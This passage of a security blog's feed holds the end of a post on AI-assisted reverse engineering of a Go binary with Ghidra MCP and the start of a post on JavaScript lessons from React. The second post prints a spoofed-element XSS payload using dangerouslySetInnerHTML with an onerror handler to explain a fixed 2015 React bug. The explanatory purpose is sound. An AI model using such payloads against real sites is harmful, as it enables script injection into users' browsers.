class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Up to this point, the preliminary work is ready.</p><p>By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.</p><h2><span id="start-commanding-the-ai-agent-to-work">Start Commanding the AI Agent to Work</span></h2><p>Next, it’s time to reverse engineer using my words. I just told it this:</p><blockquote><p>I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.</p></blockquote><p>It will start calling MCP by itself and searching for what it wants:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4-en.jpg" alt="mcp call"></p><p>Here is the translated content:</p><p>Finally, here are the libraries used by this binary:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5-en.jpg" alt="reversed libraty"></p><p>And the API routes:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6-en.jpg" alt="reversed api route"></p><p>And the inferred file structure:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8-en.jpg" alt="file structure"></p><p>Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9-en.jpg" alt="c to golang"></p><p>As a result, the routes.go it reverse-engineered looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.</p><p>In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, <code>/my-messages</code> does not exist; it should be <code>/me/messages</code>. <code>/avatar</code> should also be <code>/me/avatar</code>. It seems some parts were skipped lazily.</p><p>The registration part looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.</p><p>However, the path traversal vulnerability during file upload still exists, and it was easily identified:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10-en.jpg" alt="vulnerability"></p><p>The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.</p><p>After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; <code>/me</code> became <code>/my</code>. I thought these should be completely restored?</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11-en.jpg" alt="opus findings"></p><h2><span id="conclusion">Conclusion</span></h2><p>Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.</p><p>Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”</p><p>However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.</p><p>Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.</p><p>The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.</p><p>After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.&lt;/p&gt;
&lt;p&gt;However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.&lt;/p&gt;
&lt;p&gt;But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.&lt;/p&gt;
&lt;p&gt;To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.&lt;/p&gt;
&lt;p&gt;For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Learning the Core of JavaScript from React</title>
    <link href="https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:21:56.423Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I shared this topic at the online pre-event of <a href="https://2025.jsdc.tw/">JSDC</a>. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from <a href="https://www.tenlong.com.tw/products/9786267757048">“JavaScript Relearning”</a> (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.</p><p>I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.</p><p>This article is divided into three small sections:</p><ol><li>XSS Vulnerabilities in Older Versions of React</li><li>Learning the Event Loop from React Fiber</li><li>Learning Underlying Mechanics from V8 Bugs</li></ol><span id="more"></span><h2><span id="xss-vulnerabilities-in-older-versions-of-react">XSS Vulnerabilities in Older Versions of React</span></h2><p>What security issues can you find in the following code?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <code>&lt;img&gt;</code> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.</p><p>If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX syntax is converted back to JavaScript during compilation. The old version uses <code>React.createElement</code>, while the new version has changed to <code>_jsx</code>, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.</p><p>After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When React renders, it will render based on this object and display the name we passed in.</p><p>But the problem arises: libraries like <code>qs</code> actually support objects. For example, <code>?name[test]=1</code> would make name become <code>&#123;&quot;test&quot;: 1&#125;</code>. Therefore, although this name should appear to be a string, it can actually be an object.</p><p>Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?</p><p>In older versions of React, this check is very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It would be treated as a React component and rendered accordingly.</p><p>In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.</p><p>This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: <a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>, although the context in the original text is slightly different.</p><p>In summary, this issue caught React’s attention, leading to a discussion in an issue: <a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>, and the final fix can be found here: <a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>.</p><p>The solution is: Symbol.</p><p>By adding a <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code> to the React component and including this check in <code>isValidElement</code>, we can ensure that other objects cannot forge a React component.</p><p>The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.</p><p>In the future, if someone asks you where symbols can be used, you can use this case as an answer.</p><p>Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: <a href="https://sequelize.org/">Sequelize</a>, operators were also represented as strings, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The underlying reason is the same, which is a consideration for information security. The original PR can be found here: <a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>.</p><p>By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.</p><h2><span id="learning-event-loop-from-react-fiber">Learning Event Loop from React Fiber</span></h2><p>In 2018, I wrote an article related to React Fiber: <a href="https://blog.huli.tw/2018/03/31/en/react-fiber-and-lifecycles/">A Brief Discussion on React Fiber and Its Impact on Lifecycles</a>, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.</p><p>So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p></blockquote><p>After breaking the original large task into smaller tasks, <code>requestIdleCallback</code> is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>However, in React 16.4.0, it was replaced with a combination of <code>requestAnimationFrame</code> (hereafter referred to as rAF) and <code>postMessage</code> (this method was initially intended as a fallback for when <code>requestIdleCallback</code> was not available, but in this version, it was promoted and directly replaced <code>requestIdleCallback</code>).</p><p>In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using <code>window.addEventListener(&#39;message&#39;, fn)</code>, triggered through <code>window.postMessage</code>.</p><p>The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>Next, call rAF and postMessage again inside to schedule the callback for the next tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform tasks, executing small tasks continuously before the time is up.</p><p>After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:</p><ol><li>Calculate how much time can be spent executing tasks without interfering with rendering in rAF.</li><li>Execute tasks as much as possible in the message handler.</li></ol><p>In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.</p><p>So why use postMessage and message handler? The reason is that if you use <code>setTimeout(fn, 0)</code>, there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.</p><p>On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.</p><p>However, there is a downside to using the message handler, which is that the current usage is <code>window.addEventListener(&#39;message&#39;, fn)</code>, so every time a task is scheduled, <code>window.postMessage</code> must be used. If there are other listeners on the page, it will be triggered repeatedly.</p><p>For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" 